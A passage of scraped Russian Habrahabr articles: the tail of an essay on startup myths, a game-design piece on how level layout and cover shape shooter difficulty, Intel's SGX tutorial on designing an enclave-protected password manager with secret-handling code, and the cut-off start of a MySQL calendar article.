за время работы в стартапе человек получит определённый опыт. Вот только не факт, что этот опыт будет являться плюсом для потенциальных работодателей. До текущей позиции в Kickidler , я успел поработать и в крупных западных компаниях и в только встающих на ноги стартапах. Разница в организации работы, в бизнес-процессах, в рабочем ритме настолько велика, что многие бывшие успешные основатели своих компаний не смогли прижиться. В стартапах решение принимается быстро и малым кругом. В корпорации решение спускается сверху после долгого обсуждения. При этом всё строго регламентировано, вплоть до презентаций, которые нужно показывать клиентам. Иной раз привыкшие к свободе стартаперы срываются и уходят сами, иногда им отказывают на этапе собеседования именно из-за чуждой корпоративной культуры. Так что время — ещё какие деньги. И учитывая, что у нас в стране не любят брать на ряд специальностей людей старше 40/50 лет, то к этому сроку нужно успеть стать таким специалистом, которому возраст не помеха. Итоги Всё сказанное выше не означает, что создавать стартап не нужно. Нужно, если у вас есть огромное желание, план, ресурсы и кипучая энергия. Вполне возможно, что вам повезёт. А вот если вы верите в «своё дело» (то есть в те мифы, которые я и перечислил), то лучше сделайте карьеру хорошего наёмного работника и пользуйтесь плодами этой самой карьеры. Не становитесь стартапером потому что «это модно», «такое есть у всех», «у кого нет стартапа — тот лузер». Сделайте разумный выбор!
https://habrahabr.ru/company/kickidler/blog/317948/
habrahabr
Как планировка окружения влияет на сложность игры
['FPS', 'first person shooter', 'дизайн уровней FPS', 'TPS', 'third person shooter', 'дизайн уровней TPS']
Недавно я вместе с дизайнерами Майком Баркли (Mike Barclay) и Сэмом Хауэлсом (Sam Howels) выступал на GDC Europe 2016 с докладом «Создание конфликта: дизайн боя для экшн-игр уровня AAA». Сам...
Недавно я вместе с дизайнерами Майком Баркли (Mike Barclay) и Сэмом Хауэлсом (Sam Howels) выступал на GDC Europe 2016 с докладом «Создание конфликта: дизайн боя для экшн-игр уровня AAA». Сам доклад доступен только для участников GDC Vault, так что я решил поделиться своей частью в статье. Я рассмотрю наш подход к геометрии уровня в связи с тем, как окружение передаёт его сложность для игрока. Мы знаем, что стандартным и самым простым способом изменения сложности является добавление и сочетание различных типов врагов. Это изменения на макроуровне: чем больше, тем сложнее, и это заметно для игрока. Но как насчёт микроувеличения сложности вместо крупных изменений? Как можно сбалансировать сложность, не полагаясь на количество противников или типы персонажей? К тому, же иногда нарратив может накладывать ограничения на определённые типы персонажей. Решить эту проблему можно с помощью окружения, влияющего на поведение AI и на способы боя игрока с противниками. Этот вариант хорош тем, что сложность растёт с повышением навыка игрока и позволяет следовать за ним. Так мы сможем гарантировать, что уровни останутся интересными и не потеряют новизны до появления новых типов персонажей. Эта цель достигается повторением мантры «форма следует за функцией»: форма здания или объекта должна в первую очередь использоваться по её предназначению . В нашем случае геометрическая схема уровня должна поддерживать поведение AI и влиять на него. При этом различные схемы приводят к разным результатам. В этой статье мы рассмотрим следующие вопросы: Как можно создать окружение, стимулирующее или ограничивающее движение, и как движение влияет на сложность. Как манипуляция укрытиями может воздействовать на сложность без искусственного изменения поведения AI. Как геометрия арены может влиять на расположение врага, и что это значит для уровня сложности. Как можно создать окружение, стимулирующее или ограничивающее движение, и как движение влияет на сложность Во-первых, зададимся вопросом: зачем нам может понадобиться влиять на движение врагов? Если вкратце, то «в подвижного врага сложнее попасть». В нашем случае гораздо проще попасть по статичному врагу, чем по бегающему в сцене. Ограничение движения врагов полезно для создания более лёгких боёв. Например, в начале игры, когда игрок привыкает к игровой механике. С другой стороны, если противники много передвигаются, это значит, сложность для игрока повышается, что полезно, если по нарративу он должен быть перегружен. Так почему бы не ограничить AI искусственно, чтобы враги не двигались? Лучше не делать этого, чтобы не получить странное поведение, отличающееся от того, которое уже изучил игрок. Важно не разрушить паттерны поведения AI, чтобы игроку было легче просчитывать их и планировать свои действия. Например, вы создали охраняемую зону, наполненную врагами. Скажем, они охраняют выход, или вы не хотите, чтобы игрок мог уйти без боя. Если не разрешить им выходить из зоны, то вы рискуете затруднить понимание игроком боевой ситуации. Например, у игрока есть механика «иди туда» (игрок броском камня или другого предмета может заставить врага пойти исследовать нужное место), или NPC могут исследовать области, в которых они видели врага. Если AI не реагирует ожидаемым способом, то это разрушает паттерн геймплея (и использование самой механики). В этой ситуации игрок может чувствовать себя обманутым. В предельных случаях могут возникнуть ситуации, когда AI не способен убегать от гранат или опасных зон, что разрушает иллюзию искусственного «интеллекта». Как же можно ограничить или стимулировать движение с помощью окружения? Нам нужно настроить окружения таким образом, чтобы они поддерживали используемые классы персонажей AI. Например, штурмовики в Killzone , находящиеся в состоянии боя, двигаются между позициями укрытия и выбирают другие позиции только в пределах максимально установленного расстояния. Также они пытаются сохранять определённую дистанцию до игрока, чтобы иметь возможность боя на средних расстояниях. Это соответствует типу их класса, в отличие от врага с дробовиком (ближнего боя) или дальнобойного снайпера. Они вступают в рукопашную, только если игрок подойдёт к ним достаточно близко, в противном случае они всегда пытаются отойти для боя на средней дальности, если это возможно. Поэтому если вы хотите, чтобы враги перемещались плавно, то расположите укрытия в области их движения. Если вы хотите ограничить движение, не размещайте никаких укрытий. Тогда штурмовики будут вынуждены занимать одну область укрытий. Однако, в случае приближения игрока на расстояние рукопашной атаки или броске гранаты они будут реагировать обычным образом, в соответствии с их стандартным поведением. Поэтому они не разрушат никаких паттернов поведения . Схема уровня и расположение укрытий будут зависеть от метрик AI в вашей игре. Ещё один способ ограничения перемещения и продвижения, как для игрока, так и для врагов — использование «нейтральной зоны» . Это открытое пространство без укрытий, которое опасно пересекать игроку и врагам, потому что они будут полностью открытой и лёгкой мишенью. Психологически это предостерегает игроков от перемещения, пока область не будет зачищена и безопасна. При использовании классов AI, прячущихся за укрытиями, их нейтральные зоны находятся далеко от дистанций перехода к укрытиям. Это способ предотвращения быстрого движения игрока по уровню без искусственного ограничения и заметного удерживания. Например, в первом бою вводной миссии Killzone Mercenary первичная цель игрока — труба в конце зоны, по которой можно взобраться. Чтобы игрок не мог пробежать туда напрямую, я разместил небольшую нейтральную зону между игроком и фронтом врагов. Глубина этой области была больше, чем расстояние, на котором штурмовик ищет новую позицию для укрытия . Это поощряло игрока оставаться на первоначальной позиции укрытий, пока враги не будут побеждены. Это гарантировало, что в конце боя игрок будет смотреть в сторону трубы за позициями врагов. Труба была следующей частью обучения. Движение штурмовиков было ограничено, чтобы не дать им перемещаться по флангам , что обеспечивало для игрока простую битву в начале игры. Если бы мы позволили им обходить по флангам и укрываться в пределах определённого в метриках расстояния движения, это бы стимулировало штурмовиков двигаться больше (и в них было бы сложнее попасть по сравнению со статичными целями). К тому же они смогли бы занять более выгодные позиции, с которых потенциально могли неприятно удивить игрока внезапной атакой. Если враги приближаются к игроку, предполагается, что их точность и урон увеличиваются (разумеется, это зависит от оружия). Враг, заходящий на игрока с фланга, более сложен, чем остающийся на одной позиции. Ещё более сложный случай — обстрел игрока продольным огнём. «Продольный огонь» — это военный термин, означающий заход на противника с флангов, так что у него не остаётся укрытий сбоку, из-за чего он становится открытым и уязвимым. Если игрок подвергается продольному огню, это вынуждает его покинуть текущую позицию и найти более безопасную, из которой он сможет защищаться. Игроки часто рвутся к новой позиции без необходимого предварительного планирования, поэтому такая ситуация может вызвать у них панику. Встречный огонь в сочетании с открытостью становятся для игрока очень сложным испытанием. Стоит стимулировать игрока двигаться дальше, чтобы он не проводил весь бой на одной позиции, так как это может наскучить. Смена ролей делает этот случай более лёгким для игрока: он имеет возможность захода с флангов, откуда сможет обстреливать врага продольным огнём. Это простой случай, приносящий игроку удовольствие, если удастся отрезать врагов, не имеющих возможности защищаться. Продольный огонь Как манипуляция укрытиями может воздействовать на сложность без искусственного изменения поведения AI Одним из фундаментальных принципов при создании укрытий является принцип «знание — сила» . Если вы как игрок знаете о перемещениях и положении врага, то у вас есть преимущество. Например, низкие укрытия позволяют игроку отслеживать врагов на уровне, потому что они обычно перемещаются между островками укрытий в полный рост. В одном из начальных эпизодов Gears of War враги вбегают на арену со стороны, где им приходится миновать преднамеренно низкое укрытие. Это позволяет игроку отслеживать их всех, пока они пересекают зону, чтобы достичь своих позиций укрытия. Игрок знает, где окажутся все враги, и может стратегически планировать атаку: «знание — сила». Прячась за низкими укрытиями, враги обычно находятся на такой высоте, что игрок может видеть их макушки , когда они передвигаются. Это значит, что когда враги перемещаются к новой позиции, по-прежнему находясь за укрытием, игрок способен увидеть их и отследить их перемещение. Таким образом можно избежать ситуации, в которой игрок не знает положения врагов и может быть обойдён с флангов или захвачен врасплох атакой. Когда игрок прячется за низким укрытием, в виде от первого и от третьего лица он может наблюдать поверх укрытия и отслеживать врага. При этом он находится в безопасной и, если это учитывается правилами игры, скрытой позиции. Во врагов, находящихся за низким укрытием, сложнее попасть, потому что когда они атакуют обычно открыта меньшая часть тела. Когда они выглядывают из-за укрытия, ведут огонь вслепую или встают в полный рост, чтобы сделать более точный выстрел, они открывают только половину тела. Нижняя половина закрыта укрытием. Плюс здесь в том, что такой бой для игрока не слишком сложен: ему видна голова противника, попадание в которую традиционно считается убийством с одного выстрела. С другой стороны, высокое укрытие полностью скрывает врагов от игрока — он не видит даже их голов. Это значит, что игрок должен или переместиться в другую точку, чтобы зайти на них с более хорошего угла, или дождаться, пока противник высунется из-за укрытия, чтобы выстрелить в игрока. Это, по сути, более рисково, потому что игрок должен открыться сам , чтобы выстрелить во врага, когда враг стреляет в него. Однако, в отличие от случая с низким укрытием, когда враг высовывается сбоку от высокого укрытия, он открывается во весь рост. Он также может полностью выйти из-за укрытия, открывшись полностью. Так в него проще попасть, чем прицеливаясь в голову. Баланс здесь в том, что хотя враг скрыт, когда он не стреляет, при атаке он полностью открыт и представляет собой бóльшую цель. Высокое укрытие также полезно для типов врагов, не использующих укрытия: они могут безопасно для себя перемещаться за ними и игрок может потерять их. Эти принципы также относятся к игроку и его расположению. Например, зубцы замковой стены обеспечивают низкое укрытие рядом с высоким укрытием, создавая гораздо более защищённую схему укрытия для игрока. Ему не приходится ни выходить из-за высокого укрытия, полностью открываясь, ни пользоваться только низким укрытием, которое защищает не так сильно, особенно в шутерах от первого лица. Степень открытости врага за укрытием зависит от высоты нахождения игрока. При бое сверху враг более открыт, что позволяет легче попасть в него . Кроме того, стреляющему вверх врагу открыта меньшая часть тела игрока. С этой высокой позиции игрок также может видеть и лучше понимать планировку арены. Если игрок видит больше, у него есть преимущество в бою: мы возвращаемся к принципу «знание — сила». Как геометрия арены может влиять на расположение врага, и что это значит для уровня сложности Один из фундаментальных принципов позиционирования врагов — «в то, что не видно, нельзя попасть». Поэтому в играх отсутствие видимости врагов значит, что игрок не может стрелять в них, а значит, и победить их. Наличие помех видимости на арене не только означает, что игроку потребуется больше усилий для отслеживания врагов. Они могут полностью препятствовать отслеживанию. Врагам будет легче подобраться поближе к игроку (и он представляет для них более лёгкую мишень), или переместиться в более выгодные позиции, делаясь более сложными целями для игрока (например, обойдя его с фланга). После охотничьей засады в Питсбурге в The Last of Us враг бежит справа налево вдоль входа в магазин. Враг относится к классу врагов ближнего боя и вооружён деревянной палкой. Он пытается подобраться к игроку, чтобы ударить. Высокое укрытие с левой стороны, состоящее из автомобиля и колонн, вместе с помехами видимости вдоль окон мешают игроку отслеживать противника, что позволяет тому приблизиться к игроку и ударить с фланга. Когда игрок занят отстрелом врагов, которых он видит из-за низкого укрытия, даже при наличии радара (которое в игре заменён на механику «прислушивания», раскрывающего позиции врагов) помехи видимости не позволяют ему стрелять по врагам, чтобы не позволить им подобраться ближе. Если помехи видимости направляют врагов в «бутылочное горлышко», то это простой случай для определения позиции. Представьте один коридор, даже если в нём используется более сложный тип укрытий: высокое укрытие сочетается с низким укрытием, открывая минимальную площадь тела врага. В отношении «перемещения цели» это будет всё равно достаточно простой случай. Так происходит потому, что игрок видит всё непосредственно перед собой и ему не нужно сильно перемещать камеру, чтобы победить врагов. При разработке Killzone Mercenary мы создавали арены, а не делали его «коридорным» шутером. Поэтому нам пришлось добавить огневые проходы. Представьте ситуацию с врагами, разделёнными таким образом, что огневые проходы находятся на расстоянии больше ширины экрана. Разделять врагов может стена в центре (помеха видимости) или наличие точек спауна за каждой из дверей (как в примере ниже). С такой ситуацией гораздо сложнее справиться, потому что игрок должен разделять своё внимание и уравновешивать его между двумя боями. Это позволяет «невидимому» врагу делать что угодно, например, беспрепятственно стрелять в игрока, или незаметно для него перемещаться вперёд. Враги могут даже полностью сменить позицию: повернувшись снова, игрок может увидеть, что они пропали. Потеряв фокусировку на враге, игрок может начать стрелять в пустое пространство, в то время как враги сменили позиции и беспрепятственно стреляют в него. Кроме того, враги за пределами экрана особенно сложны, если находятся выше игрока. А какой будет самая сложная ситуация? Если вы хотите настоящих трудностей, спауньте врагов за спиной игрока! Но используйте этот трюк умеренно, иначе он может казаться нечестным. Учтите — чем дальше расставлены огневые проходы, тем выше сложность. Заключение. Пример с серой ареной. Подводя итог, давайте рассмотрим пример настройки простой арены боя с применением рассмотренных выше принципов. Допустим, по сюжету игрок должен охотиться на вражеский отряд, получить преимущество над ним и совершить внезапное нападение. В этом случае можно использовать следующие факторы: Ограничить возможности перемещения врагов, чтобы они двигались меньше и в них было легче попасть. Создать вокруг области с врагами нейтральную зону, препятствующую их движению. Позволить игроку вести продольный огонь. Использовать небольшие огневые проходы, позволяющие игроку отслеживать всех врагов и прицеливаться в них, не теряя их из виду. Расположить врагов ниже игрока, чтобы он мог стрелять вниз и враги были больше открыты. Расположить помехи видимости в пользу игрока, чтобы он мог «исчезать», скрываясь из поля зрения врагов. Создать только одну точку спауна сзади (в поле зрения), где можно отслеживать врагов, попадающих на арену. В таком подходе удобно то, что инвертирование приёмов упрощения игры усложняет её для игрока. Например, сложным случаем будет следующая ситуация: Наличие множества возможностей перемещения врага. При этом в него сложнее попасть. Использование нейтральной зоны вокруг игрока, препятствующей его движению. Возможность вражеского продольного огня, вынуждающего игрока переместиться в нейтральную зону. Наличие нескольких точек спауна врагов на противоположных сторонах карты. Точки не находятся в пределах ширины экрана. Несколько огневых проходов, вынуждающих игрока балансировать точки фокусировки. Преимущество врага перед игроком в высоте. Помехи видимости расположены таким образом, что мешают видеть врага и позволяют ему исчезать из поля зрения.
https://habrahabr.ru/post/317756/
habrahabr
Intel Software Guard Extensions, учебное руководство. Часть 3, проектирование для Intel SGX
['Software Guard Extensions']
В третьей части серии учебных материалов, посвященных расширениям Intel Software Guard Extensions (Intel SGX), мы поговорим о проектировании приложений, использующих Intel SGX. Мы используем...
В третьей части серии учебных материалов, посвященных расширениям Intel Software Guard Extensions (Intel SGX), мы поговорим о проектировании приложений, использующих Intel SGX. Мы используем принципы, изученные в первой части , и применим их к общей концепции примера приложения Tutorial Password Manager, которая была рассмотрена во второй части . Мы обсудим общую структуру приложения и влияние Intel SGX на нее; мы создадим модель классов, которая даст нам возможность спроектировать и интегрировать анклав. Пока мы не будем писать код анклавов и интерфейсов анклава, но в этой части статьи предоставляется пример кода. Версия ядра приложения, не использующая Intel SGX, без пользовательского интерфейса, доступна для загрузки. Она сопровождается небольшой тестовой программой — консольным приложением на C# — и образцом файла хранилища паролей. Проектирование для анклавов Вот общий подход, который мы будем использовать при проектировании Tutorial Password Manager для Intel SGX: Выявление секретов приложения. Выявление поставщиков и потребителей этих секретов. Определение границы анклава. Приспособление компонентов приложения для анклава. Выявление секретов приложения Первый этап при проектировании приложения, использующего Intel SGX — выявление секретов приложения. Секрет — это любая информация, которую не должны видеть и знать другие. Доступ к секрету должен быть только у пользователя или у приложения, для которого предназначен этот секрет; доступ не должен предоставляться другим пользователям и приложениям вне зависимости от их уровня прав. В число возможных секретов входят финансовые данные, медицинские карты, личные сведения, данные идентификации, лицензированное содержимое мультимедиа, пароли и ключи шифрования. В Tutorial Password Manager некоторые элементы сразу считаются секретами, как показано в таблице 1. ________________________________________ Секрет ________________________________________ Пароли учетных записей пользователя Имена пользователя учетных записей пользователя Главный пароль или парольная фраза пользователя Главный ключ хранилища паролей Ключ шифрования базы данных учетной записи ________________________________________ Таблица 1. Предварительный список секретов приложения. Это очевидные секреты, но мы расширим этот список: добавим в него всю информацию учетных записей пользователя, а не только имена пользователя. Пересмотренный лист показан в таблице 2. ________________________________________ Секрет ________________________________________ Пароли учетных записей пользователя Информация об именах пользователя учетных записях пользователя Главный пароль или парольная фраза пользователя Главный ключ хранилища паролей Ключ шифрования базы данных учетной записи ________________________________________ Таблица 2. Переработанный список секретов приложения. Даже если пароли скрыты, информация учетной записи (например, названия служб, URL-адреса) представляет ценность для злоумышленников. Раскрытие этих данных в диспетчере паролей позволит злоумышленникам получить больше возможностей для взлома системы. В частности, располагая этими данными, они смогут осуществлять атаки, направленные непосредственно на службы, возможно, используя методы социальной инженерии или атаки на сброс пароля, чтобы получить доступ к учетной записи владельца, поскольку им известно, кого именно следует атаковать. Выявление поставщиков и потребителей секретов приложения После выявления секретов приложения следует определить их источники и места назначения. В текущей версии Intel SGX код анклава не шифруется. Это означает, что любой пользователь, располагающий доступом к файлам приложения, может дизассемблировать и проанализировать их. Данные, открытые для просмотра, по определению не могут быть секретом. Это означает, что секреты нельзя статически компилировать в код анклава. Секреты приложения должны происходить извне анклавов и загружаться в анклавы при выполнении. В терминологии Intel SGX это называется предоставлением секретов в анклав. Когда источник секрета находится в компоненте вне доверенной вычислительной базы (TCB), важно снизить уязвимость секрета для недоверенного кода. (Одна из основных причин важности удаленной аттестации для Intel SGX состоит в том, что благодаря ей поставщик службы может установить отношение доверия с приложением Intel SGX, а затем сформировать ключ шифрования, который можно использовать для передачи зашифрованных секретов в приложение, причем расшифровать их сможет только доверенный анклав в системе клиента.) Аналогичные меры предосторожности требуется соблюдать при экспорте секрета из анклава. Как правило, секреты приложения не следует отправлять в недоверенный код без предварительного шифрования внутри анклава. К сожалению, в Tutorial Password Manager мы вынуждены отправлять секреты в анклав и из анклава, и в определенный момент эти секреты будут в виде обычного текста, без шифрования. Конечный пользователь будет вводить свои учетные данные и пароль с помощью клавиатуры или сенсорного экрана и вызывать их в будущем при необходимости. Пароли учетных записей должны отображаться на экране и даже копироваться в буфер обмена Windows* по требованию пользователя. Без этого приложение, которое должно быть диспетчером паролей, просто не будет работать нужным образом. Это означает, что мы не можем полностью устранить уязвимые участки: мы можем только уменьшить их, причем потребуется какая-либо стратегия защиты секретов, когда они выходят за пределы анклава в незашифрованном виде. Секрет Источник Место назначения Пароли учетных записей пользователя Ввод пользователя* Файл хранилища паролей Пользовательский интерфейс* Буфер обмена* Файл хранилища паролей Информация учетных записей пользователя Ввод пользователя* Файл хранилища паролей Пользовательский интерфейс* Файл хранилища паролей Главный пароль или парольная фраза пользователя Ввод пользователя Функция формирования ключа Главный ключ хранилища паролей Функция формирования ключа Шифр ключа базы данных Ключ шифрования хранилища паролей Формирование случайным образом Файл хранилища паролей Шифр хранилища паролей Файл хранилища паролей Таблица 3. Секреты приложения, их источники и места назначения. Возможные риски безопасности отмечены звездочкой (*). В таблице 3 перечислены источники и места назначения секретов Tutorial Password Manager. Возможные проблемы — области, в которых секреты могут быть доступны для недоверенного кода, — обозначены звездочкой (*). Определение границы анклава После установления секретов следует очертить границу анклава. Прежде всего, рассмотрим поток данных секретов через основные компоненты приложения. Граница анклава должна: Заключать в себе минимальный набор важнейших компонентов, работающих с секретами приложения. Заключать внутри себя как можно больше секретов. Сводить к минимуму взаимодействие с недоверенным кодом и количество зависимостей от него. Потоки данных и выбранная граница анклава Tutorial Password Manager показаны на рис. 1. Рисунок 1. Потоки данных секретов в Tutorial Password Manager. Секреты приложений показаны в виде кружков, причем синие кружки — это секреты, существующие в виде обычного текста (без шифрования) на каком-либо этапе выполнения приложения, а зеленые кружки — секреты, зашифрованные приложением. Граница анклава очерчена вокруг процедур шифрования и дешифрования, функции формирования ключа (KDF) и генератора случайных чисел. Такое решение обеспечивает достижение сразу нескольких целей: Ключ базы данных/хранилища, используемый для шифрования некоторых секретов приложения (информация учетных записей и пароли), формируется внутри анклава и никогда не передается наружу в виде обычного текста. Главный ключ формируется из парольной фразы пользователя внутри анклава и используется для шифрования и расшифровки ключа базы данных/хранилища. Главный ключ является временным и никогда не передается за пределы анклава ни в какой форме. Ключ базы данных/хранилища, информация об учетных записях и пароли учетных записей шифруются внутри анклава при помощи ключей шифрования, скрытых от недоверенного кода (см. №1 и №2). К сожалению, незашифрованные секреты будут пересекать границу анклава, этого невозможно избежать. На определенном этапе при работе Tutorial Password Manager пользователю придется ввести пароль с клавиатуры или скопировать пароль в буфер обмена Windows. Это небезопасные каналы, их невозможно поместить внутрь анклава, а эти операции необходимы для работы приложения. Потенциально здесь может возникнуть серьезная проблема, осложняемая решением создавать приложение на основе базы управляемого кода. Защита секретов вне анклава Не существует полных решений для защиты незашифрованных секретов снаружи анклава. Существуют лишь стратегиидля уменьшения уязвимости. Лучшее, что можно сделать — свести к минимуму время, в течение которого информация существует в уязвимой форме. Вот общие рекомендации по обработке конфиденциальных данных в недоверенном коде: По окончании работы с буферами данных заполняйте их нулями. Используйте такие функции как SecureZeroMemory (Windows) и memzero_explicit (Linux), которые гарантированно не будут оптимизированы компилятором. Не используйте контейнеры библиотеки стандартных шаблонов C++ (STL) для хранения конфиденциальных данных. Контейнеры STL используют собственные алгоритмы управления памятью, из-за чего непросто убедиться в безопасной очистке памяти, распределенной объекту, после удаления этого объекта. (Для некоторых контейнеров можно решить эту проблему, используя настраиваемые распределители.) При работе с управляемым кодом, таким как .NET, или с языками с автоматическим управлением памятью используйте типы хранилищ, специально предназначенные для хранения защищенных данных. Безопасность других типов хранилищ зависит от работы сборщика мусора и JIT-компиляции, такие хранилища невозможно очищать и освобождать по запросу (либо невозможно вообще). Если необходимо поместить данные в буфер обмена, не забудьте очистить буфер через короткое время. В частности, не позволяйте данным оставаться в буфере после завершения работы приложения. Для проекта Tutorial Password Manager нам придется работать и с собственным, и с управляемым кодом. В собственном коде мы выделим буферы wchar_t и char , а с помощью SecureZeroMemory очистим их перед высвобождением. В управляемом коде мы используем класс .NET SecureString. При отправке SecureString в неуправляемый код мы будем использовать вспомогательные функции из System::Runtime::InteropServices для направления данных. using namespace System::Runtime::InteropServices; LPWSTR PasswordManagerCore::M_SecureString_to_LPWSTR(SecureString ^ss) { IntPtr wsp= IntPtr::Zero; if (!ss) return NULL; wsp = Marshal::SecureStringToGlobalAllocUnicode(ss); return (wchar_t *) wsp.ToPointer(); } При направлении данных в обратную сторону, из собственного кода в управляемый код, можно использовать два метода. Если объект SecureString уже существует, используем методы Clear и AppendChar , чтобы задать новое значение из строки wchar_t . password->Clear(); for (int i = 0; i < wpass_len; ++i) password->AppendChar(wpass[i]); При создании нового объекта SecureString мы используем форму конструктора, создающую SecureString из существующей строки wchar_t . try { name = gcnew SecureString(wname, (int) wcslen(wname)); login = gcnew SecureString(wlogin, (int) wcslen(wlogin)); url = gcnew SecureString(wurl, (int) wcslen(wurl)); } catch (...) { rv = NL_STATUS_ALLOC; } Наш диспетчер паролей также поддерживает перенос паролей в буфер обмена Windows. Буфер обмена — небезопасное место для хранения, к которому могут получить доступ другие пользователи. Поэтому Майкрософт не рекомендует размещать там конфиденциальные данные. При этом назначение диспетчера паролей состоит в том, чтобы дать пользователям возможность создавать стойкие пароли, которые им не потребуется запоминать. Также можно будет создавать длинные пароли, состоящие из случайного набора символов, которые было бы непросто вводить вручную. Буфер обмена предоставляет весьма необходимое удобство при определенной степени риска. Для устранения этого риска нужно соблюдать дополнительные меры предосторожности. Прежде всего, нужно очищать буфер обмена при завершении работы приложения. Это делается в деструкторе одного из наших объектов собственного кода. PasswordManagerCoreNative::~PasswordManagerCoreNative(void) { if (!OpenClipboard(NULL)) return; EmptyClipboard(); CloseClipboard(); } Также мы задаем таймер буфера обмена. При копировании пароля в буфер обмена таймер устанавливается на 15 секунд, после чего выполняется функция очистки буфера обмена. Если таймер уже запущен, то есть новый пароль помещен в буфер обмена до истечения срока действия предыдущего, то прежний таймер отменяется, а вместо него запускается новый. void PasswordManagerCoreNative::start_clipboard_timer() { // Use the default Timer Queue // Stop any existing timer if (timer != NULL) DeleteTimerQueueTimer(NULL, timer, NULL); // Start a new timer if (!CreateTimerQueueTimer(&timer, NULL, (WAITORTIMERCALLBACK)clear_clipboard_proc, NULL, CLIPBOARD_CLEAR_SECS * 1000, 0, 0)) return; } static void CALLBACK clear_clipboard_proc(PVOID param, BOOLEAN fired) { if (!OpenClipboard(NULL)) return; EmptyClipboard(); CloseClipboard(); } Приспособление компонентов приложения для анклава Итак, когда определены секреты и очерчены границы анклава, пора подумать о структуре приложения с учетом анклава. Существуют строгие ограничения действий, допустимых внутри анклава. Эти ограничения определяют, какие компоненты могут находиться внутри анклава, какие — снаружи, а какие может потребоваться разделить на две части при преобразовании существующих приложений. Наиболее важное ограничение, затрагивающее Tutorial Password Manager, состоит в том, что анклавы не могут выполнять операции ввода-вывода. Анклав не может получать текст с клавиатуры и выводить данные на экран, поэтому все секреты — пароли и данные учетных записей — необходимо вводить в анклав и выводить из него. Кроме того, анклав не может читать файл хранилища и записывать данные в него: компоненты, анализирующие файл хранилища, должны быть отделены от компонентов, выполняющих физические операции ввода-вывода. Это означает, что потребуется переносить через границы анклава не только секреты: потребуется переносить и содержимое файла. Рисунок 2. Схема классов в Tutorial Password Manager. На рис. 2 показана упрощенная схема классов для ядра приложения (кроме пользовательского интерфейса), включая классы, играющие роль источника и места назначения для секретов. Обратите внимание, что класс PasswordManagerCore считается источником и местом назначения для секретов, на этой схеме он взаимодействует с графическим пользовательским интерфейсом ради простоты. В таблице 4 приводится краткое описание всех классов и их назначения. Класс Тип Функция PasswordManagerCore Управляемый Взаимодействие с графическим пользовательским интерфейсом C# и сбор данных для уровня собственного кода. PasswordManagerCoreNative Собственный код, не доверенный Взаимодействие с классом PasswordManagerCore. Также отвечает за преобразование между Юникодом и многобайтовыми символьными данными (это будет подробнее рассмотрено в части 4). VaultFile Управляемый Чтение файла хранилища и запись в него. Хранилище Собственный код, анклав Сохранение данных хранилища паролей в членах AccountRecord. Десериализация файла хранилища при чтении, повторная сериализация для записи. AccountRecord Собственный код, анклав Сохранение информации учетной записи и паролей для всех учетных записей в хранилище паролей пользователя. Crypto Собственный код, анклав Выполнение функций шифрования. DRNG Собственный код, анклав Интерфейс генератора случайных чисел. Таблица 4. Описания классов. Обратите внимание, что обработка файла хранилища разделена на две части: одна часть посвящена операциям ввода-вывода на физическом уровне, другая сохраняет содержимое после чтения и анализа. Также потребовалось добавить методы сериализации и десериализации к объекту Vault в качестве промежуточных источников и мест назначения секретов. Это необходимо, так как класс VaultFile не имеет никакой информации о структуре файла хранилища, поскольку для этого требовался бы доступ к функциям шифрования, находящимся внутри анклава. Мы также соединили класс PasswordManagerCoreNative с классом Vault пунктирной линией. Как вы, возможно, помните из второй части учебного курса, анклавы могут быть связаны только с функциями C. Эти два класса C++ не могут напрямую обмениваться данными друг с другом: им требуется посредник, который обозначается блоком «Функции моста». Ветвь кода без использования Intel Software Guard Extensions Схема на рис. 2 относится к ветви кода Intel SGX. Класс PasswordManagerCoreNative не может связываться напрямую с классом Vault , поскольку последний находится внутри анклава. Но в ветви кода без использования Intel SGX такого ограничения нет: PasswordManagerCoreNative может напрямую содержать член класса Vault . Это единственное упрощение, которое мы сделаем в приложении, не использующем Intel SGX. Чтобы упростить интеграцию анклава, в ветви кода без использования анклава обработка анклава будет выделена в классы Vault и VaultFile . Еще одно важное различие между ветвями кода состоит в том, что функции шифрования в коде, использующем Intel SGX, берутся из Intel SGX SDK. Код, не использующий Intel SGX, не может содержать эти функции, поэтому они берутся из API Microsoft Cryptography: Next Generation* (CNG). Это означает, что потребуется поддерживать две разные копии класса Crypto : одну для использования в анклавах, другую для использования в недоверенном пространстве. (То же самое придется сделать и с другими классами; это будет описано в пятой части.) Пример кода Как уже было сказано выше, в этой части предоставляется пример кода для загрузки . Прилагаемый архив включает исходный код основной DLL-библиотеки Tutorial Password Manager до интеграции с анклавом. Другими словами, это версия ядра приложения, не использующая Intel SGX. Пользовательский интерфейс отсутствует, но мы добавили простейшее тестовое приложение на C#, выполняющее последовательность тестовых операций. Оно выполняет два набора тестов: один создает новый файл хранилища и выполняет различные операции с ним, другой действует с эталонным файлом хранилища, входящим в состав дистрибутива исходного кода. На момент написания этой статьи тестовое приложение требует, чтобы тестовое хранилище находилось в папке Documents, но при необходимости можно изменить расположение в классе TestSetup. Этот исходный код был разработан в Microsoft Visual Studio* Professional 2013 согласно требованиям, указанным во вступлении в эту серию учебных руководств . На данном этапе Intel SGX SDK не требуется, но понадобится система, поддерживающая технологию защиты данных Intel с безопасным ключом. В дальнейших выпусках В четвертой части учебного руководства мы разработаем анклав и функции моста. Следите за новостями!
https://habrahabr.ru/company/intel/blog/318012/
habrahabr
Календарные функции в MySQL и MariaDB
['MySQL', 'MariaDB', 'Sequence', 'календарный план']
Как показывает практика, множество систем с использованием календарей обычно строится в виде статических таблиц, в которых перечислены даты и их соответствие рабочим, выходным, праздничным дням....
Как показывает практика, множество систем с использованием календарей обычно строится в виде статических таблиц, в которых перечислены даты и их соответствие рабочим, выходным, праздничным дням. Обычно проблемы начинаются когда система работает без вмешательств программистов достаточно долго и заполненный календарь просто кончается. Для очередного проекта я решил немного оптимизировать данную ситуацию и написал календарь, который создаётся или пересчитывается автоматически, например по встроенному таймеру. Не знаю, многие ли владеют информацией о наличии в MariaDB(MySQL) встроенного итератора возвращающего значения по заданному диапазону. Если кто не знает, то можно прочитать по ссылке . Принцип простой. Такой же как у обычного цикла For, которому передаются начало, конец и шаг. Данный итератор имеет фантастическое быстродействие и позволяет производить вычисления последовательностей. Начнём с простого. Как все мы знаем, обычный календарь состоит из рабочих и выходных дней, а также из официальных государственных праздничных дней и дней на которые данные праздники будут перенесены, если они выпали на выходные. Перенос праздничных дней обычно происходит по постановлению правительства РФ в середине текущего года. Создадим 2 таблицы. Периодические ежегодные праздники и перенос выходных дней. CREATE TABLE `holidays_periodic` ( `id` INT(10) UNSIGNED 